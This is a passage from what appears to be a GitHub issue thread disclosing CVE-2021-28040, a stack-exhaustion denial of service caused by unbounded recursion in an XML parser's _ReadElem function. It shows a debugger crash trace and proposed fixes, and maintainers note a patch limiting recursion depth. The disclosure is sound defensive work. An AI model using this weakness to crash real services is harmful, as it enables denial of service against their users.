stack ────
[!] Unmapped address
────────────────────────────────────────────────────────────────────────────────
code:x86:64 ────
   0x555555557c81 <_getattributes+5> mov    rbp, rsp
   0x555555557c84 <_getattributes+8> lea    r11, [rsp-0x4000]
   0x555555557c8c <_getattributes+16> sub    rsp, 0x1000
 → 0x555555557c93 <_getattributes+23> or     QWORD PTR [rsp], 0x0
   0x555555557c98 <_getattributes+28> cmp    rsp, r11
   0x555555557c9b <_getattributes+31> jne    0x555555557c8c <_getattributes+16>
   0x555555557c9d <_getattributes+33> sub    rsp, 0x60
   0x555555557ca1 <_getattributes+37> mov    QWORD PTR [rbp-0x4048], rdi
   0x555555557ca8 <_getattributes+44> mov    DWORD PTR [rbp-0x404c], esi
────────────────────────────────────────────────────────────────────────────────
```

```
threads ────
[#0] Id 1, Name: "test", stopped 0x555555557c93 in _getattributes (), reason: SIGSEGV

trace ────
[#0] 0x555555557c93 → _getattributes()
[#1] 0x555555557428 → _ReadElem()
[#2] 0x55555555773d → _ReadElem()
[#3] 0x55555555773d → _ReadElem()
[#4] 0x55555555773d → _ReadElem()
[#5] 0x55555555773d → _ReadElem()
[#6] 0x55555555773d → _ReadElem()
[#7] 0x55555555773d → _ReadElem()
[#8] 0x55555555773d → _ReadElem()
[#9] 0x55555555773d → _ReadElem()

gef➤
```

IMPACT

The most common issue with this type of vulnerability is a Denial of Service (DoS) once a crash has been triggered as demonstrated above with the crash PoC.

SOLUTION

The best solution to this vulnerability is implementing a code that controls the number of allowed recursions, or redesigning the methodology to loop over the XML tags using a `while` or `for` loop instead of recursing if the number of needed iterations is huge, resulting in a Stack exhaustion.

The DoS is performed due to the creation of a new frame in the stack for each new function being called. Creation of a big amount of frames results after a lot of iterations in consuming up the available stack memory, and once reached non-mapped memory a segmentation fault interruption will happen.

An important factor that decreases a lot the needed iterations to finally trigger the bug is the existence of three big stack buffers in the recursive function. Another useful change would be using dynamic memory with `malloc()` or `calloc()` when big amount of space is needed, also it can be reused instead of creating a chunk or stack buffer for each function call.

👀 1

abergmann commented on Mar 8, 2021

CVE-2021-28040 was assigned to this issue.

vikman90 mentioned this issue on Mar 9, 2021

Limit recursion level on _ReadElem() wazuh/wazuh#7776

Closed

Molter73 commented on Mar 9, 2021

We've solved this issue in our fork by limiting the number of times `_ReadElem` can be called recursively and moving the buffers out of the stack as **@lockedbyte** suggested. You can check the PR out here and I would be more than willing to create a PR here if it's needed.

🎉 2

Areku95 commented on May 12

Hello all,

Thank you all for your work!

Does anyone knows if a fix is planned ?

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

4 participants